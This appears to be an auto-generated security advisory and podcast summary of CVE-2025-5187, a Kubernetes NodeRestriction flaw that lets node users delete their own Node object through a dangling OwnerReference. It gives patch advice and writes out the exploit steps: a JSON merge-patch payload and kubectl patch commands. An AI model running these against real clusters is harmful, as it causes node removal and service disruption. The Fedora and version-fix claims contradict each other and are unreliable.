Kubernetes clusters: NodeRestriction admission controller incorrect authorization allows node users to delete their own Node object via OwnerReference garbage collection (CVE-2025-5187) #shorts
Summary
Hello and welcome to today’s security podcast. On August 27, 2025, a critical flaw was published as CVE-2025-5187. This vulnerability in Kubernetes’ NodeRestriction admission controller allows a node user to craft an OwnerReference to a cluster-scoped resource and effectively delete their own node object via garbage collection. The result can be self-inflicted node removals leading to potential denial-of-service across your cluster.
Product details
The flaw impacts Kubernetes versions v1.31.0 through v1.31.11, v1.32.0 through v1.32.7, and v1.33.0 through v1.33.3. Patches are available in v1.31.12+, v1.32.8+, and v1.33.4+. Distributions have already rolled out fixes: Fedora 41 ships Kubernetes 1.32.7 with the fix, Fedora 42 uses 1.32.8 which resolves the issue, and Fedora 41 also updated its 1.31 stream to include the correction.
Vulnerability type summary
This issue is classified under CWE-863: Incorrect Authorization. The NodeRestriction admission controller was intended to limit node API actions, but a missing authorization check on owner references allows an authenticated node identity to escalate privileges just enough to remove its own representation in the cluster.
Details of the vulnerability
Under normal operation, NodeRestriction ensures that kubelets can only modify their own Node object in a controlled manner. However, a node user can submit a patch that attaches an OwnerReference pointing at any cluster-scoped resource. If that resource doesn’t exist or is deleted later, Kubernetes’ garbage collector sees the Node object as orphaned and automatically deletes it. Deleting the Node object causes the node to disappear from the control plane, triggering pod evictions and service disruption.
Conclusion
CVE-2025-5187 poses a direct risk of denial-of-service by letting node identities remove themselves from a cluster. Administrators should immediately upgrade to Kubernetes v1.31.12 or later, v1.32.8 or later, or v1.33.4 or later. Additionally, audit your admission controller configurations, restrict patch permissions for system identities, and stay informed on distro updates. Thanks for listening—stay secure!
Watch the full video on YouTube: CVE-2025-5187
Remediation and exploitation details
This chain involves the following actors
- Node User: Attacker with node-level credentials
- Cluster Administrator: Defender responsible for cluster security
This following systems are involved
- Kubernetes Cluster (Orchestrate containerized workloads): Target of the attack
- API Server (Provide control plane API): Enforces admission controls and garbage collection
Attack entry point
- kubectl patch: CLI command used by a node user to submit a modified OwnerReference on their Node object
Remediation actions
Exploitation actions
Reconnaissance
- kubectl get nodes --show-labels
Admission controller bypass
- PATCH payload: { "metadata": { "ownerReferences": [ { "apiVersion": "v1", "kind": "ConfigMap", "name": "nonexistent", "uid": "00000000-0000-0000-0000-000000000000" } ] } }
NodeRestriction admission controller misauthorization
- kubectl patch node <node-name> --type merge --patch "$(cat patch.json)"
Trigger garbage collection
- kubectl describe node <node-name> | grep ownerReferences
Resource deletion via dangling owner reference
- kubectl get node <node-name> # Node no longer exists
Related Content
NOTE: The following related content has not been vetted and may be unsafe.
- https://github.com/kubernetes/kubernetes/issues/133471
- https://groups.google.com/g/kubernetes-security-announce/c/znSNY7XCztE
- [2025-08-23] Fedora 41 updates Kubernetes to version 1.32.7, fixing a self-deletion issue in nodes.
- [2025-08-23] Fedora 42 Kubernetes 1.32.8 has a self-deletion risk due to CVE-2025-5187, resolved by updating to v1.32.7.
- [2025-08-23] Fedora 41 releases Kubernetes 1.31 update to address CVE-2025-5187 threat.